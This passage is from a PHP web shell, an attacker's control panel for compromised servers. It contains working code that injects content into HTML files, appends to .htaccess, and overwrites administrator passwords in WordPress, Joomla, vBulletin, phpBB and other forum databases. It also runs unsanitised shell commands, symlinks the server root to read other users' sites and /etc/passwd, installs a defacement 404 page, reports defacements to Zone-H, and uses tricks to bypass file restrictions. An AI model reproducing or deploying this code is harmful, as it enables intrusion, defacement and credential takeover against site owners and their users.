  1981.                   foreach (glob($_GET['dir'] . $directorysperator . "*.htm") as $injectj00)
  1982.                   {
  1983.                         if($myfile=fopen($injectj00,'a'))
  1984.                         {  
  1985.                             fputs($myfile, $str);
  1986.                         fclose($myfile);
  1987.                         }
  1988.                         else
  1989.                         $coun = 1;
  1990.                      }
  1991.                   foreach (glob($_GET['dir'] . $directorysperator . "*.html") as $injectj00)
  1992.                   {
  1993.                         if($myfile=fopen($injectj00,'a'))
  1994.                         {
  1995.                         fputs($myfile, $str);
  1996.                         fclose($myfile);
  1997.                             }
  1998.                         else
  1999.                         $coun = 1;
  2000.                       }
  2001.                  
  2002.                 if($coun == 0)
  2003.                     echo "<center>Done !!!!<center>";
  2004.                 else
  2005.                     echo "<center>Cannot open files !!!!<center>";
  2006.             }
  2007.         }
  2008.         else if(isset($_GET['codeinsert']))
  2009.         {
  2010.             if(!isset($_POST['code']))
  2011.             {
  2012.                 if($file1 = fopen(".htaccess",'r'))
  2013.                 { ?>
  2014.                 <form method=post>
  2015.                 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
  2016.                 <input type="submit" value="  Insert  " class=but>
  2017.                 </form>
  2018.             <?php   }
  2019.                 else
  2020.                     echo "<center>Cannot Open File!!</center>";
  2021.             }else
  2022.             {
  2023.                 if($myfile = fopen(".htaccess",'a'))
  2024.                 {
  2025.                     fwrite($myfile, $_POST['code']);
  2026.                     fwrite($myfile, "\n\r");
  2027.                     fclose($myfile);
  2028.                     header("Location:$self?malattack");
  2029.                     ob_end_flush();
  2030.                 }
  2031.                 else
  2032.                     echo "Permission Denied";
  2033.             }
  2034.         }
  2035.     }
  2036.  
  2037.     // Password Change Forums
  2038.     else if(isset($_POST['forumpass']))
  2039.     {
  2040.         $localhost =  $_POST['f1'];
  2041.         $database =  $_POST['f2'];
  2042.         $username =  $_POST['f3'];
  2043.         $password =  $_POST['f4'];
  2044.         $prefix    =  $_POST['prefix'];
  2045.         $uid = $_POST['uid'];
  2046.         $newpass = $_POST['newpass'];
  2047.         if($_POST['forums'] == "vb")
  2048.         {  
  2049.             $con = mysql_connect($localhost,$username,$password);
  2050.             $db = mysql_select_db($database,$con);
  2051.             $salt = "eghjghrtd";
  2052.             $newpassword = md5(md5($newpass) . $salt);
  2053.             if($prefix == "" || $prefix == null)
  2054.                 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  2055.             else
  2056.                 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  2057.             if($sql)
  2058.             {
  2059.                 mysql_close($con);
  2060.                 header("Location:$self?forum&passwordchange&changed");
  2061.                 ob_end_flush();
  2062.             }
  2063.             else
  2064.                 header("Location:$self?forum&passwordchange&cannotchange");
  2065.         }
  2066.         if($_POST['forums'] == "mybb")
  2067.         {  
  2068.             $con = mysql_connect($localhost,$username,$password);
  2069.             $db = mysql_select_db($database,$con);
  2070.             $salt = "jeghj";
  2071.             $newpassword = md5(md5($salt).$newpass);
  2072.             if($prefix == "" || $prefix == null)
  2073.                 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  2074.             else
  2075.                 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  2076.             if($sql)
  2077.             {
  2078.                 mysql_close($con);
  2079.                 header("Location:$self?forum&passwordchange&changed");
  2080.                 ob_end_flush();
  2081.             }
  2082.             else
  2083.                 header("Location:$self?forum&passwordchange&cannotchange");
  2084.         }
  2085.         if($_POST['forums'] == "smf")
  2086.         {  
  2087.             $con = mysql_connect($localhost,$username,$password);
  2088.             $db = mysql_select_db($database,$con);
  2089.             $salt = "eghj";
  2090.                
  2091.             if($prefix == "" || $prefix == null)
  2092.             {
  2093.                 $result = mysql_query("select member_name from smf_members where id_member = 1");
  2094.                 $row = mysql_fetch_array($result);
  2095.                 $membername = $row['member_name'];
  2096.                 $newpassword = sha1(strtolower($membername).$newpass);
  2097.                 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
  2098.             }
  2099.             else
  2100.             {
  2101.                 $result = mysql_query("select member_name from ".$prefix."members where id_member = 1");
  2102.                 $row = mysql_fetch_array($result);
  2103.                 $membername = $row['member_name'];
  2104.                 $newpassword = sha1(strtolower($membername).$newpass);
  2105.                 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
  2106.             }
  2107.             if($sql)
  2108.             {
  2109.                 mysql_close($con);
  2110.                 header("Location:$self?forum&passwordchange&changed");
  2111.                 ob_end_flush();
  2112.             }
  2113.             else
  2114.                 header("Location:$self?forum&passwordchange&cannotchange");
  2115.         }
  2116.         if($_POST['forums'] == "phpbb")
  2117.         {  
  2118.             $con = mysql_connect($localhost,$username,$password);
  2119.             $db = mysql_select_db($database,$con);
  2120.            
  2121.             $newpassword = md5($newpass);echo $newpassword;
  2122.             if(empty($prefix) || $prefix == null)
  2123.                 $sql = mysql_query("update phpbb_users set user_password = '$newpassword' where user_id = '$uid'");
  2124.             else
  2125.                 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
  2126.             if($sql)
  2127.             {
  2128.                 mysql_close($con);
  2129.                 header("Location:$self?forum&passwordchange&changed");
  2130.                 ob_end_flush();
  2131.             }
  2132.             else
  2133.                 header("Location:$self?forum&passwordchange&cannotchange");
  2134.         }
  2135.         if($_POST['forums'] == "ipb")
  2136.         {
  2137.             $con = mysql_connect($localhost,$username,$password);
  2138.             $db = mysql_select_db($database,$con);
  2139.             $salt = "eghj";
  2140.             $newpassword = md5(md5($salt).md5($newpass));
  2141.             if($prefix == "" || $prefix == null)
  2142.                 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  2143.             else
  2144.                 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  2145.             if($sql)
  2146.             {
  2147.                 mysql_close($con);
  2148.                 header("Location:$self?forum&passwordchange&changed");
  2149.                 ob_end_flush();
  2150.             }
  2151.             else
  2152.                 header("Location:$self?forum&passwordchange&cannotchange");
  2153.         }
  2154.         if($_POST['forums'] == "wp")
  2155.         {  
  2156.             $uname = $_POST['uname'];
  2157.             $con = mysql_connect($localhost,$username,$password);
  2158.             $db = mysql_select_db($database,$con);
  2159.  
  2160.             $newpassword = md5($newpass);
  2161.             if($prefix == "" || $prefix == null)
  2162.                 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
  2163.             else
  2164.                 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
  2165.             if($sql)
  2166.             {
  2167.                 mysql_close($con);
  2168.                 header("Location:$self?forum&passwordchange&changed#wordp");
  2169.                 ob_end_flush();
  2170.             }
  2171.             else
  2172.                 header("Location:$self?forum&passwordchange&cannotchange#wordp");
  2173.         }
  2174.         if($_POST['forums'] == "joomla")
  2175.         {  
  2176.             $uname = $_POST['uname'];
  2177.             $con = mysql_connect($localhost,$username,$password);
  2178.             $db = mysql_select_db($database,$con);
  2179.  
  2180.             $newpassword = md5($newpass);
  2181.             if($prefix == "" || $prefix == null)
  2182.                 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$uname' where name = 'Super User'");
  2183.             else
  2184.                 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$uname' where name = 'Super User' OR name = 'Administrator'");
  2185.             if($sql)
  2186.             {
  2187.                 mysql_close($con);
  2188.                 header("Location:$self?forum&passwordchange&changed#jooml");
  2189.                 ob_end_flush();
  2190.             }
  2191.             else
  2192.                 header("Location:$self?forum&passwordchange&cannotchange#jooml");
  2193.         }
  2194.     }
  2195.    
  2196.     else if(isset($_GET['whois']))
  2197.     {
  2198.         echo "<br>".nl2br(shell_exec("whois ".$_GET['whois']))."";
  2199.     }
  2200.  
  2201.     // Get Domains
  2202.     else if(isset($_REQUEST["symlinkserver"]))
  2203.     {
  2204.         ?>
  2205.         <center><table><tr><td><a href="<?php echo $self; ?>?domains&symlinkserver">| Get Domains |</a></td>
  2206.         <td><a href="<?php echo $self; ?>?symlink&symlinkserver">| Symlink Server |</a></td>
  2207.         <td><a href="<?php echo $self; ?>?symlinkfile&symlinkserver">| Symlink File |</a></td>
  2208.         <td><a href="<?php echo $self; ?>?script&symlinkserver">| Script Locator |</a></td>
  2209.         </tr></table></center><br>
  2210.         <?php
  2211.         if(isset($_GET["domains"]))
  2212.         {
  2213.         ?>  <center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center>
  2214.         <?php }
  2215.         else if(isset($_GET["symlink"]))
  2216.         {
  2217.             $d0mains = @file("/etc/named.conf");
  2218.            
  2219.             if($d0mains)
  2220.             {
  2221.                 @mkdir("dhanush",0777);
  2222.                 @chdir("dhanush");
  2223.                 execmd("ln -s / root");
  2224.                 $file3 = 'Options all
  2225.      DirectoryIndex Sux.html
  2226.      AddType text/plain .php
  2227.      AddHandler server-parsed .php
  2228.       AddType text/plain .html
  2229.      AddHandler txt .html
  2230.      Require None
  2231.      Satisfy Any        
  2232.     ';
  2233.                 $fp3 = fopen('.htaccess','w');
  2234.                 $fw3 = fwrite($fp3,$file3);
  2235.                 @fclose($fp3);
  2236.                         echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=3>S. No.</font></td><td align=center><font size=3>Domains</font></td><td align=center><font size=3>Users</font></td><td align=center><font size=3>Symlink</font></td><td align=center><font size=3>Information</font></td></tr>";
  2237.                    
  2238.                 $dcount = 1;
  2239.                 foreach($d0mains as $d0main)
  2240.                 {
  2241.                     if(eregi("zone",$d0main))
  2242.                     {
  2243.                         preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2244.                         flush();
  2245.                            
  2246.                         if(strlen(trim($domains[1][0])) > 2)
  2247.                         {
  2248.                             $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2249.                                
  2250.                             echo "<tr align=center><td><font size=3>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td>".$user['name']."</td><td><a href='/dhanush/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td><td><a href=?whois=".$domains[1][0]." target=_blank>info</a></td></tr>"; flush();
  2251.                             $dcount++;
  2252.                         }
  2253.                     }
  2254.                 }
  2255.                 echo "</table>";
  2256.             }
  2257.             else
  2258.             {
  2259.                     $TEST=@file('/etc/passwd');
  2260.                     if ($TEST)
  2261.                     {
  2262.                         @mkdir("dhanush",0777);
  2263.                         @chdir("dhanush");
  2264.                         execmd("ln -s / root");
  2265.                         $file3 = 'Options all
  2266.              DirectoryIndex Sux.html
  2267.              AddType text/plain .php
  2268.              AddHandler server-parsed .php
  2269.               AddType text/plain .html
  2270.              AddHandler txt .html
  2271.              Require None
  2272.              Satisfy Any        
  2273.             ';
  2274.                         $fp3 = fopen('.htaccess','w');
  2275.                         $fw3 = fwrite($fp3,$file3);
  2276.                         @fclose($fp3);
  2277.                        
  2278.                         echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
  2279.                        
  2280.                         $dcount = 1;
  2281.                         $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  2282.                         //Output a line of the file until the end is reached
  2283.                         while(!feof($file))
  2284.                         {
  2285.                             $s = fgets($file);
  2286.                             $matches = array();
  2287.                             $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2288.                             $matches = str_replace("home/","",$matches[1]);
  2289.                             if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2290.                                 continue;
  2291.                             echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2292.                             echo "<td align=center><font class=txt><a href=/dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2293.                             $dcount++;
  2294.                         }
  2295.                         fclose($file);
  2296.                        
  2297.                         echo "</table>";
  2298.                     }
  2299.                     else
  2300.                     {
  2301.                         if($os != "Windows")
  2302.                         {
  2303.                             @mkdir("dhanush",0777);
  2304.                             @chdir("dhanush");
  2305.                             execmd("ln -s / root");
  2306.                             $file3 = 'Options all
  2307.                  DirectoryIndex Sux.html
  2308.                  AddType text/plain .php
  2309.                  AddHandler server-parsed .php
  2310.                   AddType text/plain .html
  2311.                  AddHandler txt .html
  2312.                  Require None
  2313.                  Satisfy Any        
  2314.                 ';
  2315.                             $fp3 = fopen('.htaccess','w');
  2316.                             $fw3 = fwrite($fp3,$file3);
  2317.                             @fclose($fp3);
  2318.                            
  2319.                             echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
  2320.                            
  2321.                             $temp = "";
  2322.                             $val1 = 0;
  2323.                             $val2 = 1000;
  2324.                             for(;$val1 <= $val2;$val1++)
  2325.                             {
  2326.                                 $uid = @posix_getpwuid($val1);
  2327.                                 if ($uid)
  2328.                                      $temp .= join(':',$uid)."\n";
  2329.                              }
  2330.                              echo '<br/>';
  2331.                              $temp = trim($temp);
  2332.                              
  2333.                              $file5 = fopen("test.txt","w");
  2334.                              fputs($file5,$temp);
  2335.                              fclose($file5);
  2336.                              
  2337.                             $dcount = 1;
  2338.                              $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2339.                              while(!feof($file))
  2340.                              {
  2341.                                 $s = fgets($file);
  2342.                                 $matches = array();
  2343.                                 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2344.                                 $matches = str_replace("home/","",$matches[1]);
  2345.                                 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2346.                                     continue;
  2347.                                 echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2348.                                 echo "<td align=center><font class=txt><a href=/dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2349.                                 $dcount++;
  2350.                              }
  2351.                             fclose($file);
  2352.                             echo "</table>";
  2353.                             unlink("test.txt");
  2354.                         }
  2355.                         else
  2356.                             echo "<center><font size=4>Cannot create Symlink</font></center>";
  2357.                     }
  2358.                 }
  2359.             }
  2360.             else if(isset($_GET["symlinkfile"]))
  2361.             {
  2362.                 if(!isset($_GET['file']))
  2363.                 {
  2364.                     ?>
  2365.                     <center>
  2366.                     <form action="<?php echo $self; ?>">
  2367.                     <input type="hidden" name="symlinkserver">
  2368.                     <input type="hidden" name="symlinkfile">
  2369.                     <input type="text" class="box" name="file" size="50" value="">
  2370.                     <input type="submit" value="Create Symlink" class="but">
  2371.                     </form></center>
  2372.                     <br><br>
  2373.                     <?php
  2374.                 }
  2375.                 else
  2376.                 {
  2377.                     $fakedir="cx";
  2378.                     $fakedep=16;
  2379.                    
  2380.                     $num=0; // offset of symlink.$num
  2381.                    
  2382.                     if(!empty($_GET['file'])) $file=$_GET['file'];
  2383.                     else if(!empty($_POST['file'])) $file=$_POST['file'];
  2384.                     else $file="";
  2385.                                        
  2386.                     if(empty($file))
  2387.                         exit;
  2388.                    
  2389.                     if(!is_writable("."))
  2390.                         die("not writable directory");
  2391.                    
  2392.                     $level=0;
  2393.                    
  2394.                     for($as=0;$as<$fakedep;$as++){
  2395.                         if(!file_exists($fakedir))
  2396.                             mkdir($fakedir);
  2397.                         chdir($fakedir);
  2398.                     }
  2399.                    
  2400.                     while(1<$as--) chdir("..");
  2401.                    
  2402.                     $hardstyle = explode("/", $file);
  2403.                    
  2404.                     for($a=0;$a<count($hardstyle);$a++){
  2405.                     if(!empty($hardstyle[$a])){
  2406.                         if(!file_exists($hardstyle[$a]))
  2407.                             mkdir($hardstyle[$a]);
  2408.                         chdir($hardstyle[$a]);
  2409.                         $as++;
  2410.                     }
  2411.                 }
  2412.             $as++;
  2413.             while($as--)
  2414.                     chdir("..");
  2415.                
  2416.                 @rmdir("fakesymlink");
  2417.                 @unlink("fakesymlink");
  2418.                
  2419.                 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
  2420.                
  2421.                 // this loop will skip allready created symlinks.
  2422.                 while(1)
  2423.                     if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
  2424.                     else $num++;
  2425.                
  2426.                 @unlink("fakesymlink");
  2427.                 mkdir("fakesymlink");
  2428.                    
  2429.                 die('<FONT class=txt>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
  2430.                
  2431.             }
  2432.         }
  2433.         else if(isset($_REQUEST["script"]))
  2434.         {
  2435.             ?>
  2436.             <center><table><tr><td><a href="<?php echo $self; ?>?manually&script&symlinkserver"><font class="tblheads">| Do It Manually |</font></a></td>
  2437.         <td><a href="<?php echo $self; ?>?automatic&script&symlinkserver"><font class="tblheads">| Do It Automatically |</font></a></td>
  2438.         </tr></table></center>
  2439.             <?php
  2440.             if(isset($_REQUEST['manually']))
  2441.             {
  2442.                 if(!isset($_REQUEST['passwd']))
  2443.                 {
  2444.                 ?>
  2445.                 <center>
  2446.                 <form action="<?php echo $self; ?>" method="post">
  2447.                 <input type="hidden" name="manually">
  2448.                 <input type="hidden" name="script">
  2449.                 <input type="hidden" name="symlinkserver">
  2450.                 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
  2451.                 <input type="submit" value="Get Config" class="but">
  2452.                 </form>
  2453.                 </center>
  2454.                 <?php
  2455.                 }
  2456.                 else
  2457.                 {
  2458.                     $getetc = trim($_REQUEST['passwd']);
  2459.                    
  2460.                     mkdir("dhanushSPT");
  2461.                     chdir("dhanushSPT");
  2462.                    
  2463.                     $myfile = fopen("test.txt","w");
  2464.                     fputs($myfile,$getetc);
  2465.                     fclose($myfile);
  2466.                          
  2467.                     $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2468.                     while(!feof($file))
  2469.                     {
  2470.                         $s = fgets($file);
  2471.                         $matches = array();
  2472.                         $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2473.                         $matches = str_replace("home/","",$matches[1]);
  2474.                         if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2475.                                 continue;
  2476.                             syml($matches,$matches);
  2477.                     }
  2478.                     fclose($file);
  2479.                     unlink("test.txt");
  2480.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2481.                     echo "<br><center><a href=dhanushSPT target=_blank><font class=txt>| Go Here |</font></a></center>";
  2482.                 }
  2483.             }
  2484.             else if(isset($_REQUEST['automatic']))
  2485.             {
  2486.                 $d0mains = @file("/etc/named.conf");
  2487.        
  2488.                 if($d0mains)
  2489.                 {
  2490.                     mkdir("dhanushST");
  2491.                     chdir("dhanushST");
  2492.                                        
  2493.                     foreach($d0mains as $d0main)
  2494.                     {
  2495.                         if(eregi("zone",$d0main))
  2496.                         {
  2497.                             preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2498.                             flush();
  2499.                                
  2500.                             if(strlen(trim($domains[1][0])) > 2)
  2501.                             {
  2502.                                 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2503.                                
  2504.                                 syml($user['name'],$domains[1][0]);                
  2505.                             }
  2506.                         }
  2507.                     }
  2508.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2509.                     echo "<br><center><a href=dhanushST target=_blank><font class=txt>| Go Here |</font></a></center>";
  2510.                 }
  2511.                 else
  2512.                 {
  2513.                     mkdir("dhanushSPT");
  2514.                     chdir("dhanushSPT");
  2515.                     $temp = "";
  2516.                     $val1 = 0;
  2517.                     $val2 = 1000;
  2518.                     for(;$val1 <= $val2;$val1++)
  2519.                     {
  2520.                         $uid = @posix_getpwuid($val1);
  2521.                         if ($uid)
  2522.                             $temp .= join(':',$uid)."\n";
  2523.                      }
  2524.                      echo '<br/>';
  2525.                      $temp = trim($temp);
  2526.                      
  2527.                      $file5 = fopen("test.txt","w");
  2528.                      fputs($file5,$temp);
  2529.                      fclose($file5);
  2530.                      
  2531.                      $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2532.                      while(!feof($file))
  2533.                      {
  2534.                         $s = fgets($file);
  2535.                         $matches = array();
  2536.                         $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2537.                         $matches = str_replace("home/","",$matches[1]);
  2538.                         if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2539.                             continue;
  2540.                         syml($matches,$matches);
  2541.                      }
  2542.                     fclose($file);
  2543.                     echo "</table>";
  2544.                     unlink("test.txt");
  2545.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2546.                     echo "<br><center><a href=dhanushSPT target=_blank><font class=txt>| Go Here |</font></a></center>";
  2547.                 }
  2548.             }
  2549.         }
  2550.     }  
  2551.    
  2552.         // Exploit Search
  2553.     else if(isset($_GET["exploit"]))
  2554.     {
  2555.         if(!isset($_GET["rootexploit"]))
  2556.         {
  2557.             ?>
  2558.             <center>
  2559.             <form action="<?php echo $self; ?>" method="get" target="_blank">
  2560.             <input type="hidden" name="exploit">
  2561.             <table border="1" cellpadding="5" cellspacing="4" style="width:50%;">
  2562.             <tr>
  2563.                 <td style="height:60px;">
  2564.             <font size="4">Select Website</font></td><td>
  2565.             <p><select id="rootexploit" name="rootexploit" class="box">
  2566.                 <option value="exploit-db">Exploit-db</option>
  2567.                 <option value="packetstormsecurity">Packetstormsecurity</option>
  2568.                 <option value="exploitsearch">Exploitsearch</option>
  2569.                 <option value="shodanhq">Shodanhq</option>
  2570.             </select></p></td></tr><tr><td colspan="2" align="center"  style="height:40px;">
  2571.             <input type="submit" value="Search" class="but"></td></tr></table>
  2572.             </form></center><br>
  2573.        
  2574.         <?php
  2575.         }
  2576.         else
  2577.         {
  2578.             //exploit search
  2579.             $Lversion = php_uname(r);
  2580.             $OSV = php_uname(s);
  2581.             if(eregi('Linux',$OSV))
  2582.             {
  2583.  
  2584.                 $Lversion=substr($Lversion,0,6);
  2585.                 if($_GET['rootexploit'] == "exploit-db")
  2586.                 {
  2587.                     header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
  2588.                 }
  2589.                 else if($_GET['rootexploit'] == "packetstormsecurity")
  2590.                 {
  2591.                     header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
  2592.                 }
  2593.                 else if($_GET['rootexploit'] == "exploitsearch")
  2594.                 {
  2595.                     header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
  2596.                 }
  2597.                 else if($_GET['rootexploit'] == "shodanhq")
  2598.                 {
  2599.                     header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
  2600.                 }
  2601.             }
  2602.             else
  2603.             {
  2604.                 $Lversion=substr($Lversion,0,3);
  2605.                 if($_GET['rootexploit'] == "exploit-db")
  2606.                 {
  2607.                     header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
  2608.                 }
  2609.                 else if($_GET['rootexploit'] == "packetstormsecurity")
  2610.                 {
  2611.                     header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
  2612.                 }
  2613.                 else if($_GET['rootexploit'] == "exploitsearch")
  2614.                 {
  2615.                     header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
  2616.                 }
  2617.                 else if($_GET['rootexploit'] == "shodanhq")
  2618.                 {
  2619.                     header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
  2620.                 }
  2621.             }
  2622.             //End of Exploit search
  2623.         }
  2624.     }
  2625.    
  2626.     else if(isset($_REQUEST['404']))
  2627.     {
  2628.         ?>
  2629.         <center><table><tr><td><a href="<?php echo $self; ?>?404&new"><font size="4">| Set Your 404 Page |</font></a></td>
  2630.             <td><a href="<?php echo $self; ?>?404&old"><font size="4">| Set Specified 404 Page |</font></a></td>
  2631.             </tr></table></center><br>
  2632.             <?php
  2633.             if(isset($_GET['old']))
  2634.             {
  2635.                 if(strlen($ind) != 0)
  2636.                 {
  2637.                     $myfile = fopen(".htaccess", "a");
  2638.                     fwrite($myfile, "ErrorDocument 404 /404.html \n\r");
  2639.            
  2640.                     $myfilee = fopen("404.html", "w+");
  2641.                     fwrite($myfilee, base64_decode($ind));
  2642.            
  2643.                     fclose($myfile);
  2644.                     header("Location:$self?set404");
  2645.                     ob_end_flush();
  2646.                 }
  2647.                 else
  2648.                     echo "<center>Nothing Specified in the shell</center>";
  2649.             }
  2650.             else if(isset($_REQUEST['new']))
  2651.             {
  2652.                 if(strlen($ind) != 0)
  2653.                 {
  2654.                     if($myfile = fopen(".htaccess", "a"))
  2655.                     {
  2656.                         fwrite($myfile, "ErrorDocument 404 /404.html \n\r");
  2657.            
  2658.                         if($myfilee = fopen("404.html", "w+"))
  2659.                         {
  2660.                             fwrite($myfilee, base64_decode($ind));
  2661.                        
  2662.                             fclose($myfilee);
  2663.                             header("Location:$self?set404");
  2664.                             ob_end_flush();
  2665.                         }
  2666.                         fclose($myfile);   
  2667.                     }
  2668.                     else
  2669.                     {
  2670.                         header("Location:$self?cannotset404");
  2671.                         ob_end_flush();
  2672.                     }
  2673.                 }
  2674.                 else
  2675.                 {
  2676.                     ?>
  2677.                     <form method=post>
  2678.                     <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
  2679.                     <input type="submit" name=404page value="  Save  " class=but></center>
  2680.                     </br>
  2681.                     </form>
  2682.                     <?php
  2683.                 }
  2684.             }
  2685.     }
  2686.    
  2687.     else if(isset($_POST["SendNowToZoneH"]))
  2688.     {
  2689.         $hacker = $_POST['defacer'];
  2690.         $method = $_POST['hackmode'];
  2691.         $neden = $_POST['reason'];
  2692.         $site = $_POST['domain'];
  2693.        
  2694.         if (empty($hacker))
  2695.         {
  2696.             die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
  2697.         }
  2698.         elseif($method == "--------SELECT--------")
  2699.         {
  2700.             die("<center><font size=3>[-] You Must Select The Method !</center>");
  2701.         }
  2702.         elseif($neden == "--------SELECT--------")
  2703.         {
  2704.             die("<center><font size=3>[-] You Must Select The Reason</center>");
  2705.         }
  2706.         elseif(empty($site))
  2707.         {
  2708.             die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
  2709.         }
  2710.        
  2711.         $i = 0;
  2712.         $sites = explode("\n", $site);
  2713.         echo "<pre class=ml1 style='margin-top:5px'>";
  2714.         while($i < count($sites))
  2715.         {
  2716.         if(substr($sites[$i], 0, 4) != "http")
  2717.         {
  2718.                 $sites[$i] = "http://".$sites[$i];
  2719.         }
  2720.         ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  2721.         echo "<font class=txt>Site : ".$sites[$i]." Posted !</font><br>";
  2722.         ++$i;
  2723.         }
  2724.          
  2725.         echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
  2726.     }
  2727.    
  2728.     // Bypass
  2729.     else if (isset($_GET["bypass"]))
  2730.     {
  2731.         if(isset($_GET['copy']))
  2732.         {
  2733.             if(@copy($_GET['copy'],"test1.php"))
  2734.             {
  2735.                 $fh=fopen("test1.php",'r');
  2736.                 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
  2737.                 @fclose($fh);
  2738.                 unlink("test1.php");
  2739.             }
  2740.         }
  2741.         else if(isset($_GET['imap']))
  2742.         {
  2743.             $string = $_GET['imap'];
  2744.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2745.             $stream = imap_open($string, "", "");
  2746.             $str = imap_body($stream, 1);
  2747.             echo "</textarea>";
  2748.         }
  2749.         else if(isset($_GET['sql']))
  2750.         {
  2751.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2752.             $file=$_GET['ssql'];
  2753.            
  2754.            
  2755.             $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  2756.             $mysql_files = explode(':', $mysql_files_str);
  2757.            
  2758.             $sql = array (
  2759.             "USE $mdb",
